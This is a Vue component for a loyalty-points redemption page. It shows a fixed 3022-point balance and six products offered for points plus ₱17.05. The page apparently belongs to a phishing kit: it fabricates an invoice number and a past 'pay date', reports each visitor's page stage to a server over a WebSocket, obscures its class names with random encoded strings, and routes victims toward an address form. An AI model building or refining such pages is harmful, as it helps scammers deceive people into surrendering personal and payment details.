<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inject, onMounted, ref } from "vue";
import { myWebSocket } from "@/utils/common";

const loadingStore = useLoadingStore();

const router = useRouter();

const payDate = ref("");
const invoiceNumber = ref("");

const next = () => {
  if (price.value == 0) {
    alert("Please redeem your favorite product");
    return;
  }
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/address");
  }, 1000);
};

function getDateSevenDaysAgo(): Date {
  // 获取当前时间
  const currentDate = new Date();

  // 计算七天前的日期
  currentDate.setDate(currentDate.getDate() - 7);

  return currentDate;
}

function generateRandomNineDigitNumber(): number {
  // 生成一个 9 位的随机整数
  const min = 100000; // 9 位数的最小值
  const max = 999999; // 9 位数的最大值

  // 生成并返回随机的 9 位数
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

const count1 = ref(0);
const count2 = ref(0);
const count3 = ref(0);
const count4 = ref(0);
const count5 = ref(0);
const count6 = ref(0);

const price = ref(0);
const type = ref(-1);

const add = (value: number, type: number) => {
  if (price.value != 0 && value != 0) {
    alert("You don't have enough points");
    return;
  }
  switch (type) {
    case 1:
      count1.value = value;
      price.value = 2999;
      break;
    case 2:
      count2.value = value;
      price.value = 2999;
      break;
    case 3:
      count3.value = value;
      price.value = 2899;
      break;
    case 4:
      count4.value = value;
      price.value = 2899;
      break;
    case 5:
      count5.value = value;
      price.value = 2699;
      break;
    case 6:
      count6.value = value;
      price.value = 2699;
      break;
  }
  if (value == 0) {
    price.value = 0;
  }
};

onMounted(() => {
  window.scrollTo({
    top: 0,
  });
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "goods" },
    })
  );
  const dateSeven = getDateSevenDaysAgo();
  payDate.value = dateSeven.toLocaleDateString();
  const inumber = localStorage.getItem("invoiceNumber");
  if (inumber) {
    invoiceNumber.value = inumber;
  } else {
    invoiceNumber.value = generateRandomNineDigitNumber().toString();
    localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
  }
  localStorage.setItem("route", "goods");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="main-content-body OTU1MDA">
        <form class="container NjcwMA NDg2MDA" data-v-5571f497="">
          <div class="points NjcxMDA ODc4MDA" data-v-5571f497="">
            <div data-v-5571f497="">
              <div data-v-5571f497="">Points Available</div>
              <div data-v-5571f497="">3022</div>
            </div>
            <div data-v-5571f497="">
              <div data-v-5571f497="">Spend points</div>
              <div data-v-5571f497="">{{ price }}</div>
            </div>
          </div>
          <div class="products MjMwMA MzkzMDA NjMwMDA" data-v-5571f497="">
            <div class="item NjAyMDA Mjg0MDA MTA0MDA" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/1.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name OTYxMDA MzgyMDA" data-v-5571f497="">
                  Hanlin Future69 ENC Noise-cancelling esports Headphones
                </div>
                <div class="price ODY5MDA OTYyMDA MTk5MDA" data-v-5571f497="">
                  2999 point + ₱17.05
                </div>
                <div
                  class="control MTM0MDA NzYwMA MjI5MDA OTc2MDA"
                  data-v-5571f497=""
                >
                  <div data-v-5571f497="" v-on:click="add(1, 1)">+</div>
                  <div class="count NjczMDA NzY5MDA" data-v-5571f497="">
                    {{ count1 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 1)">-</div>
                </div>
              </div>
            </div>
            <div class="item NzE2MDA" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/2.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name MzkwMA" data-v-5571f497="">
                  HANLIN Bluetooth Earphone Smart Watch
                </div>
                <div class="price Nzg4MDA" data-v-5571f497="">
                  2999 point + ₱17.05
                </div>
                <div class="control NTM2MDA MjExMDA" data-v-5571f497="">
                  <div data-v-5571f497="" v-on:click="add(1, 2)">+</div>
                  <div class="count NTE3MDA NzE3MDA" data-v-5571f497="">
                    {{ count2 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 2)">-</div>
                </div>
              </div>
            </div>
            <div class="item ODMwMDA OTgwMA ODkxMDA" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/3.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name NzQ3MDA NTgyMDA" data-v-5571f497="">
                  Oral-B Smart 5 Electric Toothbrush 5000N
                </div>
                <div class="price OTk4MDA MjQ0MDA" data-v-5571f497="">
                  2899 point + ₱17.05
                </div>
                <div class="control NDkxMDA NzA0MDA NzYxMDA" data-v-5571f497="">
                  <div data-v-5571f497="" v-on:click="add(1, 3)">+</div>
                  <div
                    class="count NTQ0MDA NjcwMA NjMwMDA NzUzMDA"
                    data-v-5571f497=""
                  >
                    {{ count3 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 3)">-</div>
                </div>
              </div>
            </div>
            <div class="item NzMyMDA OTM4MDA NDQwMA" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/4.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name NjQ1MDA NTIwMA" data-v-5571f497="">
                  Mi Xiaomi BHR4857HK 3.5L Smart Air Fryer
                </div>
                <div class="price NzkwMDA OTA3MDA" data-v-5571f497="">
                  2899 point + ₱17.05
                </div>
                <div
                  class="control MTg2MDA MjExMDA NTM2MDA OTAw"
                  data-v-5571f497=""
                >
                  <div data-v-5571f497="" v-on:click="add(1, 4)">+</div>
                  <div
                    class="count MjczMDA MTczMDA ODA5MDA MTU3MDA"
                    data-v-5571f497=""
                  >
                    {{ count4 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 4)">-</div>
                </div>
              </div>
            </div>
            <div class="item MTUyMDA NDY1MDA" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/5.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name MzgwMDA MzkyMDA" data-v-5571f497="">
                  Project E Beauty RF Ultrasonic Slimming and Slimming Apparatus
                </div>
                <div class="price MzY3MDA" data-v-5571f497="">
                  2699 point + ₱17.05
                </div>
                <div class="control ODUwMA MTE0MDA" data-v-5571f497="">
                  <div data-v-5571f497="" v-on:click="add(1, 5)">+</div>
                  <div class="count MTcxMDA NDk3MDA" data-v-5571f497="">
                    {{ count5 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 5)">-</div>
                </div>
              </div>
            </div>
            <div class="item ODIwMDA NDAw" data-v-5571f497="">
              <div data-v-5571f497="">
                <img
                  src="@/assets/img/products/6.png"
                  alt=""
                  data-v-5571f497=""
                  style="aspect-ratio: 1 / 1; object-fit: cover"
                />
              </div>
              <div data-v-5571f497="">
                <div class="name OTczMDA OTcyMDA" data-v-5571f497="">
                  YOTAMED – 3 Ply Disposable Nano Mask ASTM 1 (Adult) – 50 Pack
                  (Not Individual)
                </div>
                <div class="price OTYwMA NDMwMA NjM2MDA" data-v-5571f497="">
                  2699 point + ₱17.05
                </div>
                <div class="control MTE3MDA Nzk4MDA MTc5MDA" data-v-5571f497="">
                  <div data-v-5571f497="" v-on:click="add(1, 6)">+</div>
                  <div class="count NjIwMA NjkxMDA ODU5MDA" data-v-5571f497="">
                    {{ count6 }}
                  </div>
                  <div data-v-5571f497="" v-on:click="add(0, 6)">-</div>
                </div>
              </div>
            </div>
          </div>
          <div class="button-submit NjkzMDA" data-v-5571f497="">
            <button
              type="button"
              data-v-5571f497=""
              class="___OTAwMA== NTE3MDA NjY0MDA ODAw"
              v-on:click="next"
            >
              <e-span data-t="Exchange" class="_NDcwMA== NTYyMDA"
                >Exchange</e-span
              >
            </button>
          </div>
        </form>
      </div>
    </template>
  </CommonLayout>
</template>
<style scoped>
.container[data-v-5571f497] {
  padding: 1rem 0
}

.container div.points[data-v-5571f497] {
  color: #fff!important
}

.container div.points[data-v-5571f497] {
  position: relative;
  display: flex;
  justify-content: space-around;
  background-color: #e00b14;
  border-radius: 10px;
  padding: 20px 10px;
  transition: all .3s
}

.container div.points>div[data-v-5571f497] {
  flex: 1;
  text-align: center
}

.container div.products[data-v-5571f497] {
  display: flex;
  flex-wrap: wrap;
  max-width: 800px;
  margin: 0 auto
}

.container div.products .item[data-v-5571f497] {
  margin: 5px;
  padding: 10px;
  width: calc(50% - 10px);
  border-radius: 5px;
  box-shadow: rgba(99,99,99,.2) 0 2px 3px;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: space-between
}

.container div.products .item img[data-v-5571f497] {
  width: 100%;
  aspect-ratio: 1/1
}

.container div.products .item .price[data-v-5571f497] {
  font-size: 14px;
  color: #0d1973
}

.container div.products .item .control[data-v-5571f497] {
  display: flex;
  justify-content: space-evenly;
  width: 50%;
  border-radius: 5px;
  border: 1px solid grey;
  font-weight: 700;
  cursor: pointer
}

.container div.products .item .control>div[data-v-5571f497] {
  flex: 1;
  text-align: center
}

.button-submit[data-v-5571f497] {
  position: fixed;
  z-index: 10;
  bottom: 0;
  left: 0;
  width: 100%;
  box-sizing: border-box;
  background-color: #fff;
  box-shadow: rgba(0,0,0,.05) 0 6px 24px,rgba(0,0,0,.08) 0 0 0 1px;
  padding: 10px
}

.button-submit button[data-v-5571f497] {
  width: 100%
}

</style>
